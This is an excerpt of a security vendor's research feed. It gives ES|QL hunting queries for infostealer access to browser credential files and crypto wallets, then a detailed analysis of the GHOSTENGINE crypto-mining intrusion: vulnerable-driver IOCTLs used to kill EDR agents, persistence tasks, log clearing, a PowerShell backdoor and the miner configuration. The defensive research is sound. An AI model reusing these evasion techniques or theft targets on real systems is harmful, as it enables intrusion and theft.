<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/credential_access_failed_access_attempt_to_web_browser_files.toml">Failed Access Attempt to Web Browser Files</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/credential_access_web_browser_credential_access_via_unusual_process.toml">Web Browser Credential Access via Unusual Process</a></li>
</ul>
<h3>ES|QL queries</h3>
<p>The following list of hunts and detection queries can be used to detect stealers activities:</p>
<ul>
<li>
<p>Identifies untrusted or unsigned executables making DNS requests to Telegram or Discord domains, which may indicate command-and-control communication attempts.</p>
<pre><code class="language-sql">from logs-endpoint*
| where (process.code_signature.trusted == false or process.code_signature.exists == false)
| where dns.question.name in (&quot;api.telegram.com&quot;, &quot;cdn.discordapp.com&quot;,
                                &quot;discordapp.com&quot;, &quot;discord.com&quot;,&quot;discord.gg&quot;,&quot;cdn.discordapp.com&quot;)
| stats executable_count = count(*) by process.executable, process.name, dns.question.name
| sort executable_count desc
</code></pre>
</li>
<li>
<p>Detects suspicious activies targeting crypto wallets files and configurations stored on Windows systems.</p>
<pre><code class="language-sql">from logs-endpoint.events.file-*
| where @timestamp &gt; now() - 14 days
| where host.os.type == &quot;windows&quot;
and event.category == &quot;file&quot;
and event.action == &quot;open&quot; 
and (
  file.path rlike &quot;&quot;&quot;C:\\Users\\.+\\AppData\\Roaming\\.+\\(Bitcoin|Ethereum|Electrum|Zcash|Monero|Wallet|Litecoin|Dogecoin|Coinbase|Exodus|Jaxx|MyEtherWallet|MetaMask)\\.*&quot;&quot;&quot;
  or file.path rlike &quot;&quot;&quot;C:\\ProgramData\\.+\\(Bitcoin|Ethereum|Electrum|Zcash|Monero|Wallet|Litecoin|Dogecoin|Coinbase|Exodus|Jaxx|MyEtherWallet|MetaMask)\\.*&quot;&quot;&quot;
)
| keep process.executable, process.name, host.id, file.path, file.name
| stats number_hosts = count_distinct(host.id), unique_files = count_distinct(file.name) by process.executable
| where number_hosts == 1 and unique_files &gt;= 3
| sort number_hosts desc
</code></pre>
</li>
<li>
<p>Monitors access to sensitive browser data, such as cookies, login data, and browsing history, which may indicate information-stealing malware activities.</p>
<pre><code class="language-sql">from logs-endpoint.events.file-*, logs-windows.sysmon_operational-default-*
| where @timestamp &gt; now() - 14 days
| where host.os.type == &quot;windows&quot;
and event.category == &quot;file&quot;
and event.action in (&quot;open&quot;, &quot;modification&quot;)
and (
  file.path rlike &quot;C:\\\\Users\\\\.+\\\\AppData\\\\Local\\\\(Google\\\\Chrome\\\\User Data\\\\.*|Google\\\\Chrome SxS\\\\User Data\\\\.*|Chromium\\\\User Data\\\\.*|Amigo\\\\User Data\\\\.*|Torch\\\\User Data\\\\.*|Vivaldi\\\\User Data\\\\.*|Comodo\\\\Dragon\\\\User Data\\\\.*|Epic Privacy Browser\\\\User Data\\\\.*|CocCoc\\\\Browser\\\\User Data\\\\.*|BraveSoftware\\\\Brave-Browser\\\\User Data\\\\.*|CentBrowser\\\\User Data\\\\.*|7Star\\\\7Star\\\\User Data\\\\.*|Chedot\\\\User Data\\\\.*|Microsoft\\\\Edge\\\\User Data\\\\.*|360Browser\\\\Browser\\\\User Data\\\\.*|Tencent\\\\QQBrowser\\\\User Data\\\\.*|CryptoTab Browser\\\\User Data\\\\.*|Opera Software\\\\Opera Stable\\\\.*|Opera Software\\\\Opera GX Stable\\\\.*)\\\\(Default|Profile \\\\d+)\\\\(Cookies|Login Data|Web Data|History|Bookmarks|Preferences|Visited Links|Network Action Predictor|Top Sites|Favicons|Shortcuts)&quot;
  or file.path rlike &quot;C:\\\\Users\\\\.+\\\\AppData\\\\Roaming\\\\Mozilla\\\\Firefox\\\\Profiles\\\\.*\\\\(cookies.sqlite|logins.json|places.sqlite|key4.db|cert9.db)&quot;
  or file.path rlike &quot;C:\\\\Users\\\\.+\\\\AppData\\\\Roaming\\\\Moonchild Productions\\\\Pale Moon\\\\Profiles\\\\.*\\\\(cookies.sqlite|logins.json|places.sqlite|key3.db|cert8.db)&quot;
  or file.path rlike &quot;C:\\\\Users\\\\.+\\\\AppData\\\\Roaming\\\\Thunderbird\\\\Profiles\\\\.*\\\\(cookies.sqlite|logins.json|key4.db|cert9.db)&quot;
)
| keep process.executable, process.name, event.action, host.id, host.name, file.path, file.name
| eval process_path = replace(process.executable, &quot;([0-9a-fA-F]{8}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{12}|ns[a-z][A-Z0-9]{3,4}\\.tmp|DX[A-Z0-9]{3,4}\\.tmp|7z[A-Z0-9]{3,5}\\.tmp|[0-9\\.\\-_]{3,})&quot;, &quot;&quot;)
| eval process_path = replace(process_path, &quot;[cC]:\\\\[uU][sS][eE][rR][sS]\\\\[a-zA-Z0-9\\.\\-_\\$~ ]+\\\\&quot;, &quot;C:\\\\users\\\\user\\\\&quot;)
| eval normalized_file_path = replace(file.path, &quot;[cC]:\\\\[uU][sS][eE][rR][sS]\\\\[a-zA-Z0-9\\.\\-_\\$~ ]+\\\\&quot;, &quot;C:\\\\users\\\\user\\\\&quot;)
| stats number_hosts = count_distinct(host.id) by process.executable, process.name, event.action, normalized_file_path, file.name, host.name
| where number_hosts == 1
| sort number_hosts desc
</code></pre>
</li>
</ul>
<h3>Yara rules</h3>
<ul>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_MetaStealer.yar">Windows Trojan MetaStealer</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_Stealc.yar">Windows Trojan Stealc</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_RedLineStealer.yar">Windows Trojan RedLineStealer</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_AgentTesla.yar">Windows Trojan AgentTesla</a></li>
</ul>
<h2>Conclusion</h2>
<p>In conclusion, it's crucial to recognize that these malware threats pose significant risks to both companies and individuals alike. Their affordability makes them accessible not only to sophisticated cybercriminals but also to small-time offenders and script kiddies. This accessibility underscores the democratisation of cybercrime, where even individuals with limited technical expertise can deploy malicious software.</p>
<p>Elastic's comprehensive suite of security features offers organisations and individuals the tools they need to defend against malware attacks effectively. From advanced threat detection to real-time monitoring and response capabilities.</p>
]]></content:encoded>
            <category>security-labs</category>
            <enclosure url="https://www.elastic.co/kr/security-labs/assets/images/globally-distributed-stealers/Security Labs Images 25.jpg" length="0" type="image/jpg"/>
        </item>
        <item>
            <title><![CDATA[Invisible miners: unveiling GHOSTENGINE’s crypto mining operations]]></title>
            <link>https://www.elastic.co/kr/security-labs/invisible-miners-unveiling-ghostengine</link>
            <guid>invisible-miners-unveiling-ghostengine</guid>
            <pubDate>Wed, 22 May 2024 00:00:00 GMT</pubDate>
            <description><![CDATA[Elastic Security Labs has identified REF4578, an intrusion set incorporating several malicious modules and leveraging vulnerable drivers to disable known security solutions (EDRs) for crypto mining.]]></description>
            <content:encoded><![CDATA[<h2>Preamble</h2>
<p>Elastic Security Labs has identified an intrusion set incorporating several malicious modules and leveraging vulnerable drivers to disable known security solutions (EDRs) for crypto mining. Additionally, the team discovered capabilities to establish persistence, install a previously undocumented backdoor, and execute a crypto-miner. We refer to this intrusion set as REF4578 and the primary payload as GHOSTENGINE (tangental research by the team at Antiy has named parts of this intrusion set <a href="https://www.antiy.com/response/HideShoveling.html">HIDDENSHOVEL</a>).</p>
<h2>Key takeaways</h2>
<ul>
<li>Malware authors incorporated many contingency and duplication mechanisms</li>
<li>GHOSTENGINE leverages vulnerable drivers to terminate and delete known EDR agents that would likely interfere with the deployed and well-known coin miner</li>
<li>This campaign involved an uncommon amount of complexity to ensure both the installation and persistence of the XMRIG miner</li>
</ul>
<h2>Code analysis</h2>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/invisible-miners-unveiling-ghostengine/image4.png" alt="REF4578 execution flow" title="REF4578 execution flow" /></p>
<p>On May 6, 2024, at 14:08:33 UTC,  the execution of a PE file named <code>Tiworker.exe</code> (masquerading as the legitimate Windows <code>TiWorker.exe</code> file) signified the beginning of the REF4578 intrusion. The following alerts were captured in telemetry, indicating a known vulnerable driver was deployed.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/invisible-miners-unveiling-ghostengine/image8.png" alt="REF4578 executes Tiworker to start the infection chain" title="REF4578 executes Tiworker to start the infection chain" /></p>
<p>Upon execution, this file downloads and executes a PowerShell script that orchestrates the entire execution flow of the intrusion. Analysis revealed that this binary executes a hardcoded PowerShell command line to retrieve an obfuscated script, <code>get.png,</code> which is used to download further tools, modules, and configurations from the attacker C2– as depicted in the screenshot below.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/invisible-miners-unveiling-ghostengine/image10.png" alt="Downloading get.png" title="Downloading get.png" /></p>
<h3>GHOSTENGINE</h3>
<p>GHOSTENGINE is responsible for retrieving and executing modules on the machine. It primarily uses HTTP to download files from a configured domain, with a backup IP in case domains are unavailable. Additionally, it employs FTP as a secondary protocol with embedded credentials. The following is a summary of the execution flow:</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/invisible-miners-unveiling-ghostengine/image11.png" alt="The get.png PowerShell script" title="The get.png PowerShell script" /></p>
<p>This script downloads and executes <code>clearn.png</code>, a component designed to purge the system of remnants from prior infections belonging to the same family but different campaign; it removes malicious files under <code>C:\Program Files\Common Files\System\ado</code> and <code>C:\PROGRA~1\COMMON~1\System\ado\</code> and removes the following scheduled tasks by name:</p>
<ul>
<li><code>Microsoft Assist Job</code></li>
<li><code>System Help Center Job</code></li>
<li><code>SystemFlushDns</code></li>
<li><code>SystemFlashDnsSrv</code></li>
</ul>
<p>Evidence of those scheduled task artifacts may be indicators of a prior infection.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/invisible-miners-unveiling-ghostengine/image12.png" alt="clearn.png removing any infections from previous campaigns" title="clearn.png removing any infections from previous campaigns" /></p>
<p>During execution, it attempts to disable Windows Defender and clean the following Windows event log channels:</p>
<ul>
<li><code>Application</code></li>
<li><code>Security</code></li>
<li><code>Setup</code></li>
<li><code>System</code></li>
<li><code>Forwarded Events</code></li>
<li><code>Microsoft-Windows-Diagnostics-Performance</code></li>
<li><code>Microsoft-Windows-AppModel-Runtime/Operational</code></li>
<li><code>Microsoft-Windows-Winlogon/Operational</code></li>
</ul>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/invisible-miners-unveiling-ghostengine/image13.png" alt="get.png clearing Windows log channels" title="get.png clearing Windows log channels" /></p>
<p><code>get.png</code> disables Windows Defender, enables remote services, and clears the contents of:</p>
<ul>
<li><code>C:\Windows\Temp\</code></li>
<li><code>C:\Windows\Logs\</code></li>
<li><code>C:\$Recycle.Bin\</code></li>
<li><code>C:\windows\ZAM.krnl.trace</code></li>
</ul>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/invisible-miners-unveiling-ghostengine/image6.png" alt="get.png disabling Windows Defender and enabling remote services" title="get.png disabling Windows Defender and enabling remote services" /></p>
<p><code>get.png</code> also verifies that the <code>C:\</code> volume has at least 10 MB of free space to download files, storing them in <code>C:\Windows\Fonts</code>. If not, it will try to delete large files from the system before looking for another suitable volume with sufficient space and creating a folder under <code>$RECYCLE.BIN\Fonts</code>.</p>
<p>To get the current DNS resolution for the C2 domain names, GHOSTENGINE uses a hardcoded list of DNS servers, <code>1.1.1.1</code> and <code>8.8.8.8</code>.</p>
<p>Next, to establish persistence, <code>get.png</code> creates the following scheduled tasks as <code>SYSTEM</code>:</p>
<ul>
<li><strong>OneDriveCloudSync</strong> using <code>msdtc </code>to run  the malicious service DLL <code>C:\Windows\System32\oci.dll</code> every 20 minutes (described later)</li>
<li><strong>DefaultBrowserUpdate</strong> to run <code>C:\Users\Public\run.bat,</code> which downloads the <code>get.png</code> script and executes it every 60 minutes</li>
<li><strong>OneDriveCloudBackup</strong> to execute <code>C:\Windows\Fonts\smartsscreen.exe</code> every 40 minutes</li>
</ul>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/invisible-miners-unveiling-ghostengine/image21.png" alt="Scheduled tasks for persistence" title="Scheduled tasks for persistence" /></p>
<p><code>get.png</code> terminates all <code>curl.exe</code> processes and any PowerShell process with <code>*get.png*</code> in its command line, excluding the current process. This is a way to terminate any concurrently running instance of the malware.</p>
<p>This script then downloads  <code>config.txt</code>, a JSON file containing the hashes of the PE files it retrieved. This file verifies whether any updated binaries are to be downloaded by checking the hashes of the previously downloaded files from any past infections.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/invisible-miners-unveiling-ghostengine/image9.png" alt="config.txt file used to check for updated binaries" title="config.txt file used to check for updated binaries" /></p>
<p>Finally,<code> get.png</code> downloads all of its modules and various PE files. Below is a table containing a description of each downloaded file:</p>
<table>
<thead>
<tr>
<th>path</th>
<th>Type</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>C:\Windows\System32\drivers\aswArPots.sys</code></td>
<td>Kernel driver</td>
<td>Vulnerable driver from Avast</td>
</tr>
<tr>
<td><code>C:\Windows\System32\drivers\IObitUnlockers.sys</code></td>
<td>Kernel driver</td>
<td>Vulnerable driver from IObit</td>
</tr>
<tr>
<td><code>C:\Windows\Fonts\curl.exe</code></td>
<td>PE executable</td>
<td>Used to download files via cURL</td>
</tr>
<tr>
<td><code>C:\Windows\Fonts\smartsscreen.exe</code></td>
<td>PE executable</td>
<td>Core payload (GHOSTENGINE), its main purpose is to deactivate security instrumentation, complete initial infection, and execute the miner.</td>
</tr>
<tr>
<td><code>C:\Windows\System32\oci.dll</code></td>
<td>Service DLL</td>
<td>Persistence/updates module</td>
</tr>
<tr>
<td><code>backup.png</code></td>
<td>Powershell script</td>
<td>Backdoor module</td>
</tr>
<tr>
<td><code>kill.png</code></td>
<td>Powershell script</td>
<td>A PowerShell script that injects and executes a PE file responsible for killing security sensors</td>
</tr>
</tbody>
</table>
<h3>GHOSTENGINE modules</h3>
<p>GHOSTENGINE deploys several modules that can tamper with security tools, create a backdoor, and check for software updates.</p>
<h4>EDR agent controller and miner module: smartsscreen.exe</h4>
<p>This module primarily terminates any active EDR agent processes before downloading and installing a crypto-miner.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/invisible-miners-unveiling-ghostengine/image20.png" alt="smartscreen.exe GHOSTENGINE module" title="smartscreen.exe GHOSTENGINE module" /></p>
<p>The malware scans and compares all the running processes with a hardcoded list of known EDR agents. If there are any matches, it first terminates the security agent by leveraging the Avast Anti-Rootkit Driver file <code>aswArPots.sys</code> with the IOCTL <code>0x7299C004</code> to terminate the process by PID.</p>
<p><code>smartscreen.exe</code> is then used to delete the security agent binary with another vulnerable driver, <code>iobitunlockers.sys</code> from IObit, with the IOCTL <code>0x222124</code>.</p>
<p><code>smartscreen.exe</code> then downloads the XMRig client mining program (<code>WinRing0x64.png</code>) from the C2 server as <code>taskhostw.png</code>. Finally, it executes XMRig, its drivers, and the configuration file <code>config.json</code>, starting the mining process.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/invisible-miners-unveiling-ghostengine/image19.png" alt="smartscreen.exe executing XMRig" title="smartscreen.exe executing XMRig" /></p>
<h4>Update/Persistence module: oci.dll</h4>
<p>The PowerShell script creates a service DLL (<code>oci.dll</code>), a phantom DLL loaded by <code>msdtc</code>. The DLL's architecture varies depending on the machine; it can be 32-bit or 64-bit. Its primary function is to create system persistence and download any updates from the C2 servers by downloading the <code>get.png</code> script from the C2 and executing it.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/invisible-miners-unveiling-ghostengine/image3.png" alt="oci.dll persistence/update mechanism" title="oci.dll persistence/update mechanism" /></p>
<p>Every time the &lt;code&gt;msdtc&lt;strong&gt; &lt;/strong&gt;&lt;/code&gt;service starts, it will load &lt;code&gt;oci.dll&lt;/code&gt; to spawn the PowerShell one-liner that executes &lt;code&gt;get.png&lt;/code&gt; :</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/invisible-miners-unveiling-ghostengine/image23.png" alt="oci.dll downloading and executing get.png" title="oci.dll downloading and executing get.png" /></p>
<h4>EDR agent termination module: <code>kill.png</code></h4>
<p><code>kill.png</code> is a PowerShell script that injects shellcode into the current process, decrypting and loading a PE file into memory.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/invisible-miners-unveiling-ghostengine/image24.png" alt="kill.png injecting shellcode" title="kill.png injecting shellcode" /></p>
<p>This module is written in C++, and the authors have integrated redundancy into its operation. This redundancy is evident in the replication of the technique used in <code>smartsscreen.exe</code> to terminate and delete EDR agent binaries; it continuously scans for any new processes.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/invisible-miners-unveiling-ghostengine/image7.png" alt="kill.png hardcoded security agent monitoring list" title="kill.png hardcoded security agent monitoring list" /></p>
<h4>Powershell backdoor module: <code>backup.png</code></h4>
<p>The PowerShell script functions like a backdoor, enabling remote command execution on the system. It continually sends a Base64-encoded JSON object containing a unique ID, derived from the current time and the computer name while awaiting base64-encoded commands. The results of those commands are then sent back.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/invisible-miners-unveiling-ghostengine/image18.png" alt="backup.png operating as a backdoor" title="backup.png operating as a backdoor" /></p>
<p>In this example <code>eyJpZCI6IjE3MTU2ODYyNDA3MjYyNiIsImhvc3QiOiJhbmFseXNpcyJ9</code> is the Base64-encoded JSON object:</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/invisible-miners-unveiling-ghostengine/image16.png" alt="C2 Communication example of backup.png" title="backup.png HTTP header information" /></p>
<pre><code>$ echo &quot;eyJpZCI6IjE3MTU2ODYyNDA3MjYyNiIsImhvc3QiOiJhbmFseXNpcyJ9&quot; | base64 -D
{&quot;id&quot;:&quot;171568624072626&quot;,&quot;host&quot;:&quot;analysis&quot;}
</code></pre>
<h2>Miner configuration</h2>
<p>XMRig is a legitimate crypto miner, and they have documented the configuration file usage and elements <a href="https://xmrig.com/docs/miner/config">here</a>. As noted at the beginning of this publication, the ultimate goal of the REF4578 intrusion set was to gain access to an environment and deploy a persistent Monero crypto miner, XMRig.</p>
<p>We extracted the configuration file from the miner, which was tremendously valuable as it allowed us to report on the Monero Payment ID and track the worker and pool statistics, mined cryptocurrency, transaction IDs, and withdrawals.</p>
<p>Below is an excerpt from the REF4578 XMRig configuration file:</p>
<pre><code>{
    &quot;autosave&quot;: false,
    &quot;background&quot;: true,
    &quot;colors&quot;: true,

...truncated...

    &quot;donate-level&quot;: 0,
    &quot;donate-over-proxy&quot;: 0,
    &quot;pools&quot;: [
        {
            &quot;algo&quot;: &quot;rx/0&quot;,
            &quot;coin&quot;: &quot;monero&quot;,
            &quot;url&quot;: &quot;pool.supportxmr[.]com:443&quot;,
            &quot;user&quot;: &quot;468ED2Qcchk4shLbD8bhbC3qz2GFXqjAUWPY3VGbmSM2jfJw8JpSDDXP5xpkMAHG98FHLmgvSM6ZfUqa9gvArUWP59tEd3f&quot;,
            &quot;keepalive&quot;: true,
            &quot;tls&quot;: true

...truncated...

    &quot;user-agent&quot;: &quot;Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36&quot;,
    &quot;verbose&quot;: 0,
    &quot;watch&quot;: true,
    &quot;pause-on-battery&quot;: false,
    &quot;pause-on-active&quot;: false
}
</code></pre>
<h3>Monero Payment ID</h3>
<p>Monero is a blockchain cryptocurrency focusing on obfuscation and fungibility to ensure anonymity and privacy. The <a href="https://www.getmonero.org/resources/moneropedia/paymentid.html">Payment ID</a> is an arbitrary and optional transaction attachment that consists of 32 bytes (64 hexadecimal characters) or 8 bytes (in the case of integrated addresses).</p>
<p>Using the Payment ID from the above configuration excerpt (<code>468ED2Qcchk4shLbD8bhbC3qz2GFXqjAUWPY3VGbmSM2jfJw8JpSDDXP5xpkMAHG98FHLmgvSM6ZfUqa9gvArUWP59tEd3f</code>) we can view the worker and pool statistics on one of the <a href="https://monero.hashvault.pro/en/">Monero Mining Pool site</a>s listed in the configuration.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/invisible-miners-unveiling-ghostengine/image22.png" alt="Worker and pool statistics of the REF4578 Payment ID" title="Worker and pool statistics of the REF4578 Payment ID" /></p>
<p>Additionally, we can see the transaction hashes, which we can look up on the Monero blockchain explorer. Note that while transactions date back four months ago, this only indicates the <em>potential</em> monetary gain by this specific worker and account.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/invisible-miners-unveiling-ghostengine/image2.png" alt="Payments for the REF4578 Payment ID" title="Payments for the REF4578 Payment ID" /></p>
<p>Using the Blockchain Explorer and one of the <a href="https://monero.hashvault.pro/explorer/prove/7c106041de7cc4c86cb9412a43cb7fc0a6ad2c76cfdb0e03a8ef98dd9e744442/468ED2Qcchk4shLbD8bhbC3qz2GFXqjAUWPY3VGbmSM2jfJw8JpSDDXP5xpkMAHG98FHLmgvSM6ZfUqa9gvArUWP59tEd3f/f1415e7710323cf769ce74d57ec9b7337d7a61b9ee4bba2ee38f9e8c3c067a005a484f8b9a14fb8964f56bb76181eafdb7dbb00677a155b067204423f23ab50ad146867795f560ad9443520f073f0bd71b8afd3259b24ae2a59aa7772f68fc028388f001bfeaa0f4ccc1f547b54924bb116352e9302424d731dc580dcccbb40749503640895d31559d7fc258b616576e7f052bbdbbc7083126f595c36015de02f6e95da8cfc81ee5fa1bd4d4c29bf55db96e4779924ab0d26993f7bf834ceb01fe314fd19e55c7304f91e809be3e29b68778f0da6dbcfe57d3eafc6dae5e090645d6b3753f44c4e1c1356b19d406c6efe7a55ec7c2b4997bd1fc65f15a4fda03619fc53beff111ddd9fd94f5ba3c503ccb73f52009bd3c1d47216b9a7c82d5065ac5e8a946e998cbc23fd8815a93cbbd655961709ac3ea8b1fd87e940e72370dc542ca4c22837e91ab5dd94d2c1c0a81e8ec9558766575ba236c3ae29b0f470fe881e22a03da405118a3353a5ecc618d1837e1a2bd449888a47a761efa98c407ce857fd389cdea63e9670edcf4b4d6c4c33e9c2851430270c8ef6dfb8cfeb9025ca7a17c9acdbfeb6670b3eabcbfde36cbc907e23fdd0c64aa2fc4103412a70c97838e177184c2f3d794e089b47ce66656d6c4cab2bbb4d6d71a3245f1dc360c7da9220eec90ef6e67cb13831b52ef14cf5bf1dd6adc202edc0892d9529145047786ed1042857f6986ed608839d595f06c1971f415f967d260d17ea8f5582400">transaction hashes</a> we got from the Payment ID, we can see the public key, the amount is withdrawn, and when. Note that these public keys are used with one-time addresses, or stealth addresses that the adversary would then use a private key with to unlock the funds.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/invisible-miners-unveiling-ghostengine/image17.png" alt="Transactions for the REF4578 Payment ID" title="Transactions for the REF4578 Payment ID" /></p>
<p>In the above example for transaction <code>7c106041de7cc4c86cb9412a43cb7fc0a6ad2c76cfdb0e03a8ef98dd9e744442</code> we can see that there was a withdrawal of <code>0.109900000000</code> XMR (the abbreviation for Monero) totaling $14.86 USD. The Monerao Mining Pool site shows four transactions of approximately the same amount of XMR, totaling approximately $60.70 USD (January - March 2024).</p>
<p>As of the publication of this research, there are still active miners connected to the REF4578 Payment ID.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/invisible-miners-unveiling-ghostengine/image5.png" alt="Miners actively connecting to the REF4578 Payment ID" title="Miners actively connecting to the REF4578 Payment ID" /></p>
<p>While this specific Payment ID does not appear to be a big earner, it is evident that REF4578 could operate this intrusion set successfully. Other victims of this campaign could have different Payment IDs used to track intrusions, which could be combined for a larger overall haul.</p>
<h2>Malware and MITRE ATT&amp;CK</h2>
<p>Elastic uses the <a href="https://attack.mitre.org/">MITRE ATT&amp;CK</a> framework to document common tactics, techniques, and procedures that threats use against enterprise networks.</p>
<h3>Tactics</h3>
<p>Tactics represent the why of a technique or sub-technique. It is the adversary’s tactical goal: the reason for performing an action.</p>
<ul>
<li><a href="https://attack.mitre.org/tactics/TA0002/">Execution</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0003">Persistence</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0005/">Defense Evasion</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0007">Discovery</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0011">Command and Control</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0010/">Exfiltration</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0040/">Impact</a></li>
</ul>
<h3>Techniques</h3>
<p>Techniques represent how an adversary achieves a tactical goal by performing an action.</p>
<ul>
<li><a href="https://attack.mitre.org/techniques/T1059/001/">Command and Scripting Interpreter: PowerShell</a></li>
<li><a href="https://attack.mitre.org/techniques/T1059/003/">Command and Scripting Interpreter: Windows Command Shell</a></li>
<li><a href="https://attack.mitre.org/techniques/T1053/005/">Scheduled Task/Job: Scheduled Task</a></li>
<li><a href="https://attack.mitre.org/techniques/T1070/001/">Indicator Removal: Clear Windows Event Logs</a></li>
<li><a href="https://attack.mitre.org/techniques/T1036/">Masquerading</a></li>
<li><a href="https://attack.mitre.org/techniques/T1055/">Process Injection</a></li>
<li><a href="https://attack.mitre.org/techniques/T1057/">Process Discovery</a></li>
<li><a href="https://attack.mitre.org/techniques/T1041/">Exfiltration Over C2 Channel</a></li>
<li><a href="https://attack.mitre.org/techniques/T1132">Data Encoding</a></li>
<li><a href="https://attack.mitre.org/techniques/T1496/">Resource Hijacking</a></li>
<li><a href="https://attack.mitre.org/techniques/T1489/">Service Stop</a></li>
</ul>
<h2>Mitigating GHOSTENGINE</h2>
<h3>Detection</h3>
<p>The first objective of the GHOSTENGINE malware is to incapacitate endpoint security solutions and disable specific Windows event logs, such as Security and System logs,  which record process creation and service registration. Therefore, it is crucial to prioritize the detection and prevention of these initial actions:</p>
<ul>
<li>Suspicious PowerShell execution</li>
<li>Execution from unusual directories</li>
<li>Elevating privileges to system integrity</li>
<li>Deploying vulnerable drivers and establishing associated kernel mode services.</li>
</ul>
<p>Once the vulnerable drivers are loaded, detection opportunities decrease significantly, and organizations must find compromised endpoints that stop transmitting logs to their SIEM.</p>
<p>Network traffic may generate and be identifiable if DNS record lookups point to <a href="https://miningpoolstats.stream/monero">known mining pool</a> domains over well-known ports such as HTTP (<code>80</code>) and HTTPS  (<code>443</code>). Stratum is also another popular network protocol for miners, by default, over port <code>4444</code>.</p>
<p>The analysis of this intrusion set revealed the following detection rules and behavior prevention events:</p>
<ul>
<li><a href="https://github.com/elastic/protections-artifacts/blob/ecde1dfa1aaeb6ace99e758c2ba7d2e499f93515/behavior/rules/execution_suspicious_powershell_downloads.toml">Suspicious PowerShell Downloads</a></li>
<li><a href="https://github.com/elastic/detection-rules/blob/79f575b33c747e0c3c5f7293c95f3ddab611e683/rules/windows/privilege_escalation_service_control_spawned_script_int.toml">Service Control Spawned via Script Interpreter</a></li>
<li><a href="https://github.com/elastic/detection-rules/blob/79f575b33c747e0c3c5f7293c95f3ddab611e683/rules/windows/persistence_local_scheduled_task_creation.toml">Local Scheduled Task Creation</a></li>
<li><a href="https://github.com/elastic/detection-rules/blob/79f575b33c747e0c3c5f7293c95f3ddab611e683/rules/windows/defense_evasion_from_unusual_directory.toml">Process Execution from an Unusual Directory</a></li>
<li><a href="https://github.com/elastic/detection-rules/blob/79f575b33c747e0c3c5f7293c95f3ddab611e683/rules/windows/execution_command_shell_started_by_svchost.toml#L41">Svchost spawning Cmd</a></li>
<li><a href="https://github.com/elastic/detection-rules/blob/79f575b33c747e0c3c5f7293c95f3ddab611e683/rules/windows/execution_command_shell_started_by_svchost.toml#L41">Unusual Parent-Child Relationship</a></li>
<li><a href="https://github.com/elastic/detection-rules/blob/79f575b33c747e0c3c5f7293c95f3ddab611e683/rules/windows/defense_evasion_clearing_windows_event_logs.toml">Clearing Windows Event Logs</a></li>
<li><a href="https://github.com/elastic/detection-rules/blob/79f575b33c747e0c3c5f7293c95f3ddab611e683/rules/windows/defense_evasion_microsoft_defender_tampering.toml">Microsoft Windows Defender Tampering</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/ecde1dfa1aaeb6ace99e758c2ba7d2e499f93515/behavior/rules/privilege_escalation_potential_privilege_escalation_via_missing_dll.toml">Potential Privilege Escalation via Missing DLL</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/ecde1dfa1aaeb6ace99e758c2ba7d2e499f93515/behavior/rules/defense_evasion_binary_masquerading_via_untrusted_path.toml#L58">Binary Masquerading via Untrusted Path</a></li>
</ul>
<h3>Prevention</h3>
<p>Malicious Files Prevention :</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/invisible-miners-unveiling-ghostengine/image1.png" alt="GHOSTENGINE file prevention" title="GHOSTENGINE file prevention" /></p>
<p>Shellcode Injection Prevention:</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/invisible-miners-unveiling-ghostengine/image14.png" alt="GHOSTENGINE shellcode prevention" title="GHOSTENGINE shellcode prevention" /></p>
<p>Vulnerable Drivers file creation prevention (<a href="https://github.com/elastic/protections-artifacts/blob/ecde1dfa1aaeb6ace99e758c2ba7d2e499f93515/yara/rules/Windows_VulnDriver_ArPot.yar">Windows.VulnDriver.ArPot</a> and <a href="https://github.com/elastic/protections-artifacts/blob/ecde1dfa1aaeb6ace99e758c2ba7d2e499f93515/yara/rules/Windows_VulnDriver_IoBitUnlocker.yar">Windows.VulnDriver.IoBitUnlocker</a> )</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/invisible-miners-unveiling-ghostengine/image15.png" alt="GHOSTENGINE driver prevention" title="GHOSTENGINE driver prevention" /></p>
<h4>YARA</h4>
<p>Elastic Security has created YARA rules to identify this activity.</p>
<ul>
